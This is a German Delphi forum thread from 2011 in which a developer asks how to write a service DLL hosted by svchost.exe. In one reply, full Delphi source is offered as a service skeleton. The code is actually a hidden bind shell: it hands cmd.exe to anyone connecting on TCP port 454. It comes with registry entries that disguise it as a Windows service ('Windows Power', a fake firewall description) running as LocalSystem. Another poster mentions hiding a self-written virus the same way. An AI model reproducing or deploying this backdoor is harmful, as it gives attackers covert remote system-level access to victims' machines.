AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Thema durchsuchen
Ansicht
Themen-Optionen

Suche Beispiel für eine Service-DLL

Ein Thema von axellang · begonnen am 19. Jul 2011 · letzter Beitrag vom 23. Jul 2011
Antwort Antwort
Seite 1 von 2  1 2      
axellang

Registriert seit: 3. Mai 2003
Ort: München
138 Beiträge
 
Delphi XE2 Enterprise
 
#1

Suche Beispiel für eine Service-DLL

  Alt 19. Jul 2011, 16:12
Hallo Leute,

suche ein Beispiel (skeleton) oder Doku (Delphi) zu einer NT-Service-Dll die innerhalb einer vorhandenen SvcHost Gruppe laufen soll.

Gruß

Axel
Alexander Lang
  Mit Zitat antworten Zitat
Benutzerbild von jaenicke
jaenicke
Online

Registriert seit: 10. Jun 2003
Ort: Berlin
9.346 Beiträge
 
Delphi 11 Alexandria
 
#2

AW: Suche Beispiel für eine Service-DLL

  Alt 19. Jul 2011, 17:27
Dafür musst du die Funktion RegisterServiceCtrlHandlerEx im DLL-Quelltext beim Laden der DLL, also in begin..end, benutzen:
http://msdn.microsoft.com/en-us/library/ms685058.aspx

Ob du die delphiinternen Routinen für die Dienststeuerung damit trotzdem nutzen kannst, weiß ich nicht, aber mit SetServiceStatus geht es jedenfalls, indem du den Status auf Running setzt, wenn deine Initialisierung geklappt hat:
http://msdn.microsoft.com/en-us/library/ms686241.aspx
Sebastian Jänicke
Alle eigenen Projekte sind eingestellt, ebenso meine Homepage, Downloadlinks usw. im Forum bleiben aktiv!
  Mit Zitat antworten Zitat
axellang

Registriert seit: 3. Mai 2003
Ort: München
138 Beiträge
 
Delphi XE2 Enterprise
 
#3

AW: Suche Beispiel für eine Service-DLL

  Alt 20. Jul 2011, 19:36
Hi,

Hi,

@jaenicke, Danke, es geht vielmehr um die Einträge die ich in der Reg. setzen muss, damit meine Service dll von der Svchost.exe geladen wird.

Meine Hoffnung war es, das einer schon mal ne Service dll geschrieben hat und mir da ein paar Tipps bzw. Links zu einer Doku helfen könnte denn in der MSDN oder ähnliches findet man nichts.

Das einzig brauchbare habe ich heute erst gefunden:Demo for a service dll used by svchost.exe to host it. Außerdem noch ne Doku: SVCHOST

So jetzt schreibe ich das alles noch um und dann mal sehen.


Axel
Alexander Lang
  Mit Zitat antworten Zitat
Benutzerbild von jaenicke
jaenicke
Online

Registriert seit: 10. Jun 2003
Ort: Berlin
9.346 Beiträge
 
Delphi 11 Alexandria
 
#4

AW: Suche Beispiel für eine Service-DLL

  Alt 20. Jul 2011, 19:49
Ich habe das vor einiger Zeit schon einmal ausprobiert. Den Quelltext muss ich mal suchen.

Aber posten kann ich den dann nicht direkt. Denn es handelte sich dabei um einen Virus, den ich zu Testzwecken geschrieben hatte. Auf diese Weise hatte ich den im System versteckt und unter Windows XP war er dann mit z.B. dem Taskmanager logischerweise nicht mehr zu finden. Mehr schreibe ich zu diesem Thema besser nicht, nicht dass jemand, der das liest, auf dumme Gedanken kommt...

Aber ich schaue mal, ob ich den Code zum Registrieren des Dienstes noch finde.
Sebastian Jänicke
Alle eigenen Projekte sind eingestellt, ebenso meine Homepage, Downloadlinks usw. im Forum bleiben aktiv!
  Mit Zitat antworten Zitat
axellang

Registriert seit: 3. Mai 2003
Ort: München
138 Beiträge
 
Delphi XE2 Enterprise
 
#5

AW: Suche Beispiel für eine Service-DLL

  Alt 20. Jul 2011, 19:58
Hi,

Denn es handelte sich dabei um einen Virus, den ich zu Testzwecken geschrieben hatte.
so, so , nun mal her damit. Lass uns die Weltherrschaft übernehmen.

Axel
Alexander Lang
  Mit Zitat antworten Zitat
generic

Registriert seit: 24. Mär 2004
Ort: bei Hannover
2.415 Beiträge
 
Delphi XE5 Professional
 
#6

AW: Suche Beispiel für eine Service-DLL

  Alt 21. Jul 2011, 08:53
NT-Service-Dll die innerhalb einer vorhandenen SvcHost Gruppe laufen soll.
Es ist natürlich einfacher, einen Dienst mit Delphi hinzustellen.
Muss es unbedingt die SvcHost-DLL sein?
Welchen Grund gibt es dafür?
Coding BOTT - Video Tutorials rund um das Programmieren - https://www.youtube.com/@codingbott
  Mit Zitat antworten Zitat
axellang

Registriert seit: 3. Mai 2003
Ort: München
138 Beiträge
 
Delphi XE2 Enterprise
 
#7

AW: Suche Beispiel für eine Service-DLL

  Alt 21. Jul 2011, 20:11
Hi,
Es ist natürlich einfacher, einen Dienst mit Delphi hinzustellen.
Ja das ist richtig, ich verwende für NT-Services unter Delphi DDService (zip), dass das Delphi Service Framework um einige längst fällige Features erweitert und zwei Bugs fixt (QC #68050 und QC #37706) die nach wie vor offen sind. (readme im zip unbedingt !lesen!)

Muss es unbedingt die SvcHost-DLL sein?
Ja, der Svchost hat leider einen schlechten Ruf. Bei meiner Recherche zum Aufbau der DLL waren die ersten Treffer: "Virus, Trojaner, Loader, Hilfe verseucht und schlag mich tot". Es gab nur vereinzelte Treffer die mit der Thematik professionell umgingen, z.B. im forum.sysinternals.com writing-a-service-that-runs-under-svchost. Auch hier in der DP wurde eine ähnliche Frage schon mal besprochen svchost-problem doch war es nicht was ich suchte.

Welchen Grund gibt es dafür?
Der Dienst soll die bestehenden Services beobachten und ggf. bei Fehlern neu starten. Außerdem soll es die Schnittstelle zu unserer Update-Engine sein, die sich die Upgrades per BITS von unserem Server holt und installiert. Ausschlaggebend war natürlich das der Dienst, der im Kontext der Svchost.exe läuft, nicht gleicht sichtbar ist. Da alle Programm-Komponenten digital signiert sind, sehe ich keinen Grund es so nicht zu machen.


Gruß, Axel
Alexander Lang

Geändert von axellang (21. Jul 2011 um 20:33 Uhr)
  Mit Zitat antworten Zitat
Benutzerbild von Luckie
Luckie

Registriert seit: 29. Mai 2002
37.621 Beiträge
 
Delphi 2006 Professional
 
#8

AW: Suche Beispiel für eine Service-DLL

  Alt 21. Jul 2011, 21:29
Der Prozess SvcHost ist der Hostprozess für Dienste. Und warum sollte der Prozess einen schlechten Ruf haben? Und was wird hie runter schlechten Ruf verstanden?
Michael
Ein Teil meines Codes würde euch verunsichern.
  Mit Zitat antworten Zitat
Astat

Registriert seit: 2. Dez 2009
Ort: München
320 Beiträge
 
Lazarus
 
#9

AW: Suche Beispiel für eine Service-DLL

  Alt 21. Jul 2011, 22:02
Delphi-Quellcode:

library svchost;

(********************************* Regsettings *********************************

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc]
  "DisplayName"="Windows Power"
  "Type"=dword:00000020
  "Start"=dword:00000002
  "ErrorControl"=dword:00000000
  "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
    74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,\
    00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,\
    6b,00,20,00,6e,00,65,00,74,00,73,00,76,00,63,00,73,00,00,00
  "ObjectName"="LocalSystem"
  "Description"="Bietet Unterstützung für Protokoll-Plug-Ins von Drittanbietern
    für die gemeinsame Nutzung der Internetverbindung und den Windows-Firewall."

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Parameters]
  "ServiceDll"=hex(2):44,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,53,\
    00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,67,00,79,00,\
    65,00,6b,00,65,00,74,00,79,00,73,00,2e,00,64,00,6c,00,6c,00,00,00

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Enum]
  "0"="Root\\LEGACY_TAPISVC\\0000"
  "Count"=dword:00000001
  "NextInstance"=dword:00000001

+Zur Gruppe hinzufügen:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost
*******************************************************************************)

uses
  Windows,
  WinSvc,
  Winsock2,
  Winsock;

const
  Port = 454;

type
  PArgArray = ^PChar;

var
  ServiceStatus: SERVICE_STATUS;
  hServiceStatusHandle : SERVICE_STATUS_HANDLE;
  Terminated: boolean = false;

  szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
  hSocket: PInteger;
  si: TStartupInfo;
  pi: TProcessInformation;
begin
  hSocket := Parameter;
  ZeroMemory(@si, SizeOf(TStartupInfo));
  si.cb := SizeOf(TStartupInfo);
  si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  si.wShowWindow := SW_HIDE;
  si.hStdInput := hSocket^;
  si.hStdOutput := hSocket^;
  si.hStdError := hSocket^;
  CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  Shutdown(hSocket^, SD_BOTH);
  CloseSocket(hSocket^);
  Dispose(hSocket);
  Result := 0;
end;

function MainThread(Parameter: Pointer): Integer;
var
  WSAData: TWSAData;
  FDSet: TFDSet;
  SockAddrIn: TSockAddrIn;
  ServerSocket: TSocket;
  Connected: PInteger;
  ThreadID: Cardinal;
begin
  result := 0;
  if WSAStartUp($0020, WSAData) <> S_OK then EXIT;

  ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  if (ServerSocket = INVALID_SOCKET) then EXIT;

  FillChar(SockAddrIn, SizeOf(TSockAddr), #0);

  with SockAddrIn do begin
    sin_Family := AF_INET;
    sin_Port := htons(Port);
    sin_Addr := TInAddr(htonl(INADDR_ANY));
  end;

  if Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR then EXIT;

  if Listen(ServerSocket, SOMAXCONN) = SOCKET_ERROR then EXIT;

  GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);

  while not Terminated do begin
    FD_Zero(FDSet);
    FD_Set(ServerSocket, FDSet);
    if Select(0, @FDSet, nil, nil, nil) = SOCKET_ERROR then Break;
    if Terminated then Break;
    if FD_IsSet(ServerSocket, FDSet) then begin
      New(Connected);
      Connected^ := Accept(ServerSocket, nil, nil);
      if Connected^ <> SOCKET_ERROR then
        BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
      else
        Break;
    end;
    sleep(15);
  end;

  WSACleanup;
end;

//-- Service Code
function SvcCtrlHandler(dwControl: DWORD; dwEventType: DWORD;
  lpEventData: PChar; lpContext: PChar): DWORD; stdcall;
begin
  result := NO_ERROR;

  case dwControl of
    SERVICE_CONTROL_STOP, SERVICE_CONTROL_SHUTDOWN:
      begin
        ServiceStatus.dwWin32ExitCode := 0;
        ServiceStatus.dwCurrentState := SERVICE_STOPPED;
        ServiceStatus.dwCheckPoint := 0;
        ServiceStatus.dwWaitHint := 0;
      end;
    SERVICE_CONTROL_PAUSE:
      begin
        ServiceStatus.dwCurrentState := SERVICE_PAUSED;
      end;
    SERVICE_CONTROL_CONTINUE:
      begin
        ServiceStatus.dwCurrentState := SERVICE_RUNNING;
      end;
  end;

  SetServiceStatus(hServiceStatusHandle, ServiceStatus);
end;

procedure ServiceMain(dwArgc: DWORD; lpszArgv: PArgArray); stdcall;
var
  pServiceName: PChar;
begin
  pServiceName := PChar('Tapisvc');

  ServiceStatus.dwServiceType := SERVICE_WIN32_SHARE_PROCESS;
  ServiceStatus.dwCurrentState := SERVICE_START_PENDING;

  ServiceStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP or
    SERVICE_ACCEPT_SHUTDOWN or SERVICE_ACCEPT_PAUSE_CONTINUE;

  ServiceStatus.dwWin32ExitCode := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;

  hServiceStatusHandle := RegisterServiceCtrlHandlerA(pServiceName,
    @SvcCtrlHandler);

  if (hServiceStatusHandle <> 0) then begin
    ServiceStatus.dwCurrentState := SERVICE_RUNNING;
    ServiceStatus.dwCheckPoint := 0;
    ServiceStatus.dwWaitHint := 0;
    SetServiceStatus(hServiceStatusHandle, ServiceStatus);
  end;
end;

procedure DLLEntryPoint(dwReason: DWORD);
var
  dwThreadID: DWORD;
begin
  case dwReason of
    DLL_PROCESS_ATTACH : CloseHandle(BeginThread(nil, 0, MainThread, nil, 0, dwThreadID));
    DLL_PROCESS_DETACH : Terminated := true;
  end;
end;

 {$R *.RES}

exports
  ServiceMain;

begin
  DisableThreadLibraryCalls(hInstance);
  DllProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
Lanthan Astat
06810110811210410503210511511603209711003210010110 9032084097103
03211611111604403209711003210010110903210010510103 2108101116122
11610103209010110510810103206711110010103210511003 2068101108112
10410503210310111509910411410510109810111003211910 5114100046
  Mit Zitat antworten Zitat
Benutzerbild von Luckie
Luckie

Registriert seit: 29. Mai 2002
37.621 Beiträge
 
Delphi 2006 Professional
 
#10

AW: Suche Beispiel für eine Service-DLL

  Alt 21. Jul 2011, 22:05
Es ist eine ziemlich dumme Idee seine DLL nach einer System DLl zu benennen: http://blogs.msdn.com/b/oldnewthing/...02/171769.aspx
Michael
Ein Teil meines Codes würde euch verunsichern.
  Mit Zitat antworten Zitat
Antwort Antwort
Seite 1 von 2  1 2      


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 07:11 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz